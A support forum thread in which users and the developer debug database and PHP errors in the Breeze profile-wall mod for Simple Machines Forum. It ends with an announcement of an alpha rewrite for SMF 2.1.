#1 /Sources/Breeze/BreezeUser.php(122): breezeGetProfileViews()
#2 /Sources/Profile.php(731): breezeWall(string)
#3 /index.php(185): ModifyProfile()
#4 {main}
Logged in as a regular member and viewing my own profile without enabling my wall everything works fine but when I enable it in my profile i get this error when viewing the admins profile:
QuoteAn Error Has Occurred!
Cannot use object of type stdClass as array
and this error when viewing my own profile (regular member):
QuoteAn Error Has Occurred!
The database value you're trying to insert does not exist: users
Thanks! can you share whats the value in your breeze_profile_views column for your admin account?
Quote from: Suki on July 22, 2021, 10:03:34 AM
Thanks! can you share whats the value in your breeze_profile_views column for your admin account?
Where or how do I find that? Didn't see it in phpadmin!
If you are using phpMyAdmin then go to your members table, there look for the admin account, usually the first one and take a look at the columns, the breeze_profile_views should be the last of one of the last columns, or use this query:
SELECT breeze_profile_views
FROM your_table_name
WHERE id_member = your_admin_id
replace the your_table_name and your_admin_id with the correct values.
Looks like it didn't even create that table for some reason!?
Its not really a table but a column inside your members table, what was the result of the query?
Yeah the column I meant is not there so I installed this mod on a fresh fresh install and got all of the same errors.
It did create the column this time but the value is blank.
OK, can you try this one.
Works good now when viewing my own profile but when viewing another members wall i get:
Quotehttps://*****.com/index.php?action=profile;area=summary;u=2
Cannot use object of type stdClass as array
#0 /index.php(134): fatal_error(string, string)
#1 {closure}(Error)
#2 {main}
There are now values in the column breeze_profile_view....
Admin {"2":
Member1 {"user":"2","last_view":1626980986,"views":1}...
Cool, thats the expected behaviour, is there any other error in your error log?
Quote from: Shades. on July 22, 2021, 03:10:41 PM
Works good now when viewing my own profile but when viewing another members wall i get:
Whats the value on that colum for that specific member? is it also blank?
Quote from: Suki on July 22, 2021, 04:08:38 PM
Quote from: Shades. on July 22, 2021, 03:10:41 PM
Works good now when viewing my own profile but when viewing another members wall i get:
Whats the value on that colum for that specific member? is it also blank?
{"user":"2","last_view":1626980986,"views":1}...
https://www.simplemachines.org/community/index.php?topic=520127.msg4092453#msg4092453
Quote
https://*****.com/index.php?action=profile;area=summary;u=2
Cannot use object of type stdClass as array
#0 /index.php(134): fatal_error(string, string)
#1 {closure}(Error)
#2 {main}
Is this all the info you get? isnt there any more info on your error log or your server's error log?
Thats all I got for now...I'll have to ask web host for server logs when I get more time. ;)
Edited to say: I did look in my cpanel at the error logs just now and there wasn't any errors for that domain. :o
mmm unfortunately that doesn't give us enough details to determinate whats the root cause :/
i get this error while posting on the forum. i upgrade to version 2.0.19
And while register a member, i get the error
Database Error
Field 'breeze_profile_views' doesn't have a default value
File: /home/thisglobe/public_html/3/Sources/Subs-Members.php
Line: 771
So assign the field a default value.
Seriously, you come here every few months, when we know that you remove your copyrights... additionally you ask questions which a simple search would give you an answer to, either on this forum or in Google
Dunno if anyone has notice but I've been working on a rewrite for SMF 2.1 (https://github.com/MissAllSunday/Breeze). Its not ready yet but it has reach a point where an alpha can be distributed for testing purposes only. This new version uses React components/TypeScript which is a total different approach compared to what SMF does but I think its coming alone quite nicely.
Quote from: Suki on June 25, 2023, 02:47:53 PMDunno if anyone has notice but I've been working on a rewrite for SMF 2.1 (https://github.com/MissAllSunday/Breeze). Its not ready yet but it has reach a point where an alpha can be distributed for testing purposes only. This new version uses React components/TypeScript which is a total different approach compared to what SMF does but I think its coming alone quite nicely.
Cool, Looking forward to using this mod again! I can do some testing for you if you need me to!?
Thanks,
Shades 8)
Sure, thanks! let me do some more testing to make sure the install works fine.
Hello
Does your program need php 8.1 or
does it also work with php 7.4 ?
Version compatible with SMF 2.0 requires PHP 5.3 or newer.
Version compatible with SMF 2.1 requires PHP 8.1 or newer.
And on commit 3333 heres the first alpha for Breeze 2.0 (https://github.com/MissAllSunday/Breeze/releases/tag/v2.0.0-alpha)
8)
Its been 12 years since I started working on this mod, it started as a way to learn about SMF inner logic/hooks but eventually it was used as a lab for learning new things. I re-wrote the front end on Vue, then React and even Svelte. Also used it for learning how to properly built APIs although, merging new concepts with SMFs arch sometimes yields funny results, either way, I think its time to settle down on the experimental phase and move forward to ship a finished product.
If anyone is interested on helping with testing, be aware that this is an unfinished product and its only intended to be installed on local/testing envs.
Basic functionality its there, you can post new status/comments as well as give likes to them but thats about it.
Please use this support topic for reporting bugs, once they have been confirmed, I will create their corresponding issue on github.